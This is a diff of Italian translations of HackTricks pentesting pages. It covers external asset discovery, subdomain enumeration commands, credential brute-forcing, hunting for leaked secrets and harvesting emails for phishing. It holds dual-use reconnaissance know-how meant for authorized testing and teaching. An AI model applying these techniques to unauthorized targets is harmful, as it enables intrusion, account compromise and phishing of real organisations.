Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta una buona conoscenza del polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Scoperta degli asset
|
||||
## Scoperta delle risorse
|
||||
|
||||
> Ti è stato detto che tutto ciò che appartiene a una certa azienda è all'interno dell'ambito, e vuoi capire cosa possiede effettivamente questa azienda.
|
||||
|
||||
|
@ -43,9 +43,9 @@ Un'altra opzione è visitare la pagina **Wikipedia** della società principale e
|
|||
### **ASNs**
|
||||
|
||||
Un numero di sistema autonomo (**ASN**) è un **numero unico** assegnato a un **sistema autonomo** (AS) dall'**Internet Assigned Numbers Authority (IANA)**.\
|
||||
Un **AS** consiste in **blocchi** di **indirizzi IP** che hanno una politica definita per l'accesso a reti esterne e sono amministrati da un'unica organizzazione, ma possono essere composti da più operatori.
|
||||
Un **AS** consiste in **blocchi** di **indirizzi IP** che hanno una politica chiaramente definita per l'accesso a reti esterne e sono amministrati da un'unica organizzazione, ma possono essere composti da più operatori.
|
||||
|
||||
È interessante scoprire se la **società ha assegnato qualche ASN** per trovare i suoi **intervalli IP.** Sarà interessante eseguire un **test di vulnerabilità** contro tutti gli **host** all'interno dell'**ambito** e **cercare domini** all'interno di questi IP.\
|
||||
È interessante scoprire se la **società ha assegnato un ASN** per trovare i suoi **intervalli IP.** Sarà interessante eseguire un **test di vulnerabilità** contro tutti gli **host** all'interno dell'**ambito** e **cercare domini** all'interno di questi IP.\
|
||||
Puoi **cercare** per nome dell'azienda, per **IP** o per **dominio** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**A seconda della regione dell'azienda, questi link potrebbero essere utili per raccogliere ulteriori dati:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nord America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(America Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Comunque, probabilmente tutte le** informazioni utili **(intervalli IP e Whois)** appaiono già nel primo link.
|
||||
```bash
|
||||
|
@ -76,7 +76,7 @@ Puoi trovare l'IP e l'ASN di un dominio usando [http://ipv4info.com/](http://ipv
|
|||
### **Cercare vulnerabilità**
|
||||
|
||||
A questo punto conosciamo **tutti gli asset all'interno dell'ambito**, quindi se sei autorizzato potresti lanciare alcuni **scanner di vulnerabilità** (Nessus, OpenVAS) su tutti gli host.\
|
||||
Inoltre, potresti lanciare alcune [**scansioni delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e a seconda di ciò che trovi dovresti** dare un'occhiata a questo libro su come fare pentesting a diversi servizi possibili in esecuzione.\
|
||||
Inoltre, potresti lanciare alcune [**scansioni delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e a seconda di ciò che trovi dovresti** dare un'occhiata a questo libro su come pentestare diversi servizi possibili in esecuzione.\
|
||||
**Inoltre, potrebbe valere la pena menzionare che puoi anche preparare alcune** liste di nomi utente **e** password **predefiniti e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domini
|
||||
|
@ -112,7 +112,7 @@ Puoi utilizzare strumenti online come:
|
|||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuito (solo **100 ricerche gratuite**)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuito
|
||||
|
||||
Puoi automatizzare questo compito utilizzando [**DomLink** ](https://github.com/vysecurity/DomLink) (richiede una chiave API whoxy).\
|
||||
Puoi automatizzare questo compito utilizzando [**DomLink** ](https://github.com/vysecurity/DomLink)(richiede una chiave API whoxy).\
|
||||
Puoi anche eseguire alcune scoperte automatiche di reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Nota che puoi utilizzare questa tecnica per scoprire più nomi di dominio ogni volta che trovi un nuovo dominio.**
|
||||
|
@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
In parole semplici, favihash ci permetterà di scoprire domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
|
||||
|
||||
Inoltre, puoi anche cercare tecnologie utilizzando l'hash della favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci l'**hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
|
||||
Inoltre, puoi anche cercare tecnologie utilizzando l'hash della favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -169,7 +169,7 @@ Cerca all'interno delle pagine web **stringhe che potrebbero essere condivise tr
|
|||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
|
||||
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **trovare domini appartenenti alla stessa azienda nei log di trasparenza del certificato**.\
|
||||
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Mail DMARC information
|
||||
|
@ -178,49 +178,49 @@ You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.liv
|
|||
|
||||
### **Passive Takeover**
|
||||
|
||||
Apparentemente è comune per le persone assegnare sottodomini a IP che appartengono a fornitori di cloud e a un certo punto **perdere quell'indirizzo IP ma dimenticare di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) stai effettivamente **prendendo possesso di alcuni sottodomini**.
|
||||
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **perdere quell'indirizzo IP ma dimenticare di rimuovere il record DNS**. Therefore, just **creando una VM** in a cloud (like Digital Ocean) you will be actually **prendendo il controllo di alcuni sottodomini**.
|
||||
|
||||
[**Questo post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia al riguardo e propone uno script che **crea una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record dei sottodomini** che puntano ad essa.
|
||||
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **crea una VM in DigitalOcean**, **ottiene** the **IPv4** of the new machine, and **cerca in Virustotal per record di sottodomini** che puntano ad essa.
|
||||
|
||||
### **Other ways**
|
||||
|
||||
**Nota che puoi usare questa tecnica per scoprire più nomi di dominio ogni volta che trovi un nuovo dominio.**
|
||||
**Note that you can use this technique to discover more domain names every time you find a new domain.**
|
||||
|
||||
**Shodan**
|
||||
|
||||
Come già sai il nome dell'organizzazione che possiede lo spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
|
||||
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
|
||||
|
||||
Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e poi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **shodan** con il filtro: `ssl:"Tesla Motors"` o usare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
You could access the **TLS certificate** of the main web page, obtain the **Nome dell'organizzazione** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)è uno strumento che cerca **domini correlati** a un dominio principale e **sottodomini** di essi, davvero sorprendente.
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domini correlati** con un dominio principale e **sottodomini** di essi, pretty amazing.
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Controlla per qualche [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse qualche azienda sta **utilizzando un dominio** ma ha **perso la proprietà**. Registralo (se abbastanza economico) e fai sapere all'azienda.
|
||||
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **utilizzando un dominio** ma **ha perso la proprietà**. Just register it (if cheap enough) and let know the company.
|
||||
|
||||
Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e qualche [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel campo, fai attenzione._
|
||||
If you find any **dominio con un IP diverso** da quelli che hai già trovato nella scoperta degli asset, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
|
||||
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**!
|
||||
**Bug bounty tip**: **iscriviti** a **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Subdomains
|
||||
|
||||
> Sappiamo tutte le aziende all'interno del campo, tutti gli asset di ciascuna azienda e tutti i domini correlati alle aziende.
|
||||
> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
|
||||
|
||||
È tempo di trovare tutti i possibili sottodomini di ciascun dominio trovato.
|
||||
It's time to find all the possible subdomains of each found domain.
|
||||
|
||||
{% hint style="success" %}
|
||||
Nota che alcuni degli strumenti e delle tecniche per trovare domini possono anche aiutare a trovare sottodomini!
|
||||
Note that some of the tools and techniques to find domains can also help to find subdomains!
|
||||
{% endhint %}
|
||||
|
||||
### **DNS**
|
||||
|
||||
Proviamo a ottenere **sottodomini** dai record **DNS**. Dovremmo anche provare per il **Zone Transfer** (Se vulnerabile, dovresti segnalarlo).
|
||||
Let's try to get **sottodomini** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -275,7 +275,7 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Ci sono **altri strumenti/API interessanti** che, anche se non specializzati direttamente nella ricerca di sottodomini, potrebbero essere utili per trovarli, come:
|
||||
Ci sono **altri strumenti/API interessanti** che, anche se non specializzati direttamente nella ricerca di sottodomini, potrebbero essere utili per trovare sottodomini, come:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilizza l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) per ottenere sottodomini
|
||||
```bash
|
||||
|
@ -382,7 +382,7 @@ puredns bruteforce all.txt domain.com
|
|||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Seconda Fase di Brute-Force DNS
|
||||
### Seconda fase di brute-force DNS
|
||||
|
||||
Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi generare alterazioni dei sottodomini trovati per cercare di trovarne ancora di più. Diversi strumenti sono utili a questo scopo:
|
||||
|
||||
|
@ -420,19 +420,19 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di brute-force per sottodomini abbinato a un algoritmo guidato dalla risposta DNS immensamente semplice ma efficace. Utilizza un insieme di dati di input fornito, come una wordlist personalizzata o record DNS/TLS storici, per sintetizzare accuratamente nomi di dominio corrispondenti e espanderli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di brute-force per sottodomini abbinato a un algoritmo guidato dalla risposta DNS immensamente semplice ma efficace. Utilizza un insieme di dati di input fornito, come una wordlist personalizzata o record DNS/TLS storici, per sintetizzare accuratamente nomi di dominio corrispondenti e ampliarli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Subdomain Discovery Workflow**
|
||||
### **Flusso di lavoro per la scoperta di sottodomini**
|
||||
|
||||
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta dei sottodomini** da un dominio utilizzando **Trickest workflows** così non devo lanciare manualmente un sacco di strumenti sul mio computer:
|
||||
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **i flussi di lavoro di Trickest** in modo da non dover avviare manualmente un sacco di strumenti sul mio computer:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
|
||||
|
||||
### **VHosts / Virtual Hosts**
|
||||
### **VHosts / Host virtuali**
|
||||
|
||||
Se hai trovato un indirizzo IP contenente **una o più pagine web** appartenenti a sottodomini, potresti provare a **trovare altri sottodomini con siti in quell'IP** cercando in **fonti OSINT** per domini in un IP o **forzando i nomi di dominio VHost in quell'IP**.
|
||||
|
||||
|
@ -440,7 +440,7 @@ Se hai trovato un indirizzo IP contenente **una o più pagine web** appartenenti
|
|||
|
||||
Puoi trovare alcuni **VHosts in IP utilizzando** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **o altre API**.
|
||||
|
||||
**Brute Force**
|
||||
**Forza Bruta**
|
||||
|
||||
Se sospetti che qualche sottodominio possa essere nascosto in un server web, potresti provare a forzarlo:
|
||||
```bash
|
||||
|
@ -480,7 +480,7 @@ Puoi **monitorare** se vengono creati **nuovi subdomini** di un dominio monitora
|
|||
Controlla possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Se il **subdominio** sta puntando a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Se trovi un **subdominio con un IP diverso** da quelli già trovati nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
Se trovi un **subdominio con un IP diverso** da quelli che hai già trovato nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Tieni presente che a volte il subdominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
||||
|
||||
## IPs
|
||||
|
@ -524,7 +524,7 @@ Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeball
|
|||
|
||||
## Public Cloud Assets
|
||||
|
||||
Per trovare potenziali asset cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di una compagnia crypto potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
Per trovare potenziali asset cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di un'azienda crypto potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Avrai anche bisogno di wordlist di **parole comuni usate nei bucket**:
|
||||
|
||||
|
@ -553,7 +553,7 @@ Con i **domini** e **sottodomini** all'interno dell'ambito hai fondamentalmente
|
|||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Le email saranno utili in seguito per **brute-forzare accessi web e servizi di autenticazione** (come SSH). Inoltre, sono necessarie per **phishing**. Inoltre, queste API ti daranno ancora più **info sulla persona** dietro l'email, che è utile per la campagna di phishing.
|
||||
Le email saranno utili in seguito per **brute-forzare accessi web e servizi di autenticazione** (come SSH). Inoltre, sono necessarie per **phishing**. Inoltre, queste API ti daranno ancora più **info sulla persona** dietro l'email, il che è utile per la campagna di phishing.
|
||||
|
||||
## Credential Leaks
|
||||
|
||||
|
@ -568,11 +568,11 @@ Se trovi credenziali **valide trapelate**, questa è una vittoria molto facile.
|
|||
|
||||
## Secrets Leaks
|
||||
|
||||
Le perdite di credenziali sono correlate agli hack di aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati:
|
||||
Le perdite di credenziali sono correlate agli attacchi alle aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati:
|
||||
|
||||
### Github Leaks
|
||||
|
||||
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quella azienda su github.\
|
||||
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda github.\
|
||||
Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
|
||||
|
||||
**Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**.
|
||||
|
@ -594,7 +594,7 @@ Puoi usare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per
|
|||
|
||||
I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o puoi usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
|
||||
|
||||
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché google ti bloccherà molto molto presto._
|
||||
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché Google ti bloccherà molto molto presto._
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
|
@ -618,7 +618,7 @@ Ci sono anche servizi gratuiti che ti permettono di **scansionare repository pub
|
|||
|
||||
La **maggior parte delle vulnerabilità** trovate dai bug hunter risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di testing delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **workflows per avere alcune informazioni web iniziali.**
|
||||
Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **workflow per avere alcune informazioni web iniziali.**
|
||||
|
||||
## Recapitulation
|
||||
|
||||
|
@ -649,15 +649,15 @@ Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte
|
|||
|
||||
* Tutti i corsi gratuiti di [**@Jhaddix**](https://twitter.com/Jhaddix) come [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente di polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Metodologia di Pentesting
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Impara e pratica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
@ -48,7 +48,7 @@ Prima di attaccare un host, forse preferisci **rubare alcune credenziali** **dal
|
|||
|
||||
La prima cosa da fare quando **cerchi vulnerabilità in un host** è sapere quali **servizi sono in esecuzione** su quali porte. Vediamo i [**strumenti di base per scansionare le porte degli host**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [**Ricerca di exploit per versioni di servizio**](search-exploits.md)
|
||||
### **4-** [Cercare exploit di versioni di servizio](search-exploits.md)
|
||||
|
||||
Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, devi **cercare vulnerabilità note**. Forse hai fortuna e c'è un exploit che ti dà una shell...
|
||||
|
||||
|
@ -61,7 +61,7 @@ Se non c'è alcun exploit interessante per alcun servizio in esecuzione, dovrest
|
|||
**Voglio fare una menzione speciale della** [**parte Pentesting Web**](../network-services-pentesting/pentesting-web/) **(poiché è la più estesa).**\
|
||||
Inoltre, una piccola guida su come [**trovare vulnerabilità note nel software**](search-exploits.md) può essere trovata qui.
|
||||
|
||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ce ne sono).
|
||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ci sono).
|
||||
|
||||
#### 5.1 Strumenti Automatici
|
||||
|
||||
|
@ -69,7 +69,7 @@ Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche d
|
|||
|
||||
#### **5.2 Forzatura dei servizi**
|
||||
|
||||
In alcuni scenari una **forzatura** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui un CheatSheet di diversi servizi da forzare**](brute-force.md)**.**
|
||||
In alcuni scenari una **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui un CheatSheet di diversi servizi di brute forcing**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
|
@ -91,7 +91,7 @@ Se hai problemi con la shell, puoi trovare qui una piccola **compilazione dei co
|
|||
|
||||
### **9 -** [**Esfiltrazione**](exfiltration.md)
|
||||
|
||||
Probabilmente avrai bisogno di **estrarre alcuni dati dalla vittima** o anche di **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post sui comuni strumenti che puoi usare a questi scopi**](exfiltration.md)**.**
|
||||
Probabilmente avrai bisogno di **estrarre alcuni dati dalla vittima** o anche **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post sui comuni strumenti che puoi usare a questi scopi**](exfiltration.md)**.**
|
||||
|
||||
### **10- Escalation dei Privilegi**
|
||||
|
||||
|
@ -106,7 +106,7 @@ Dovresti anche controllare queste pagine su come funziona **Windows**:
|
|||
* Come [**rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
* Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di escalation dei privilegi locali in Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalation dei Privilegi locali in Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Privesc di Dominio**
|
||||
|
||||
|
@ -151,15 +151,15 @@ Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe es
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
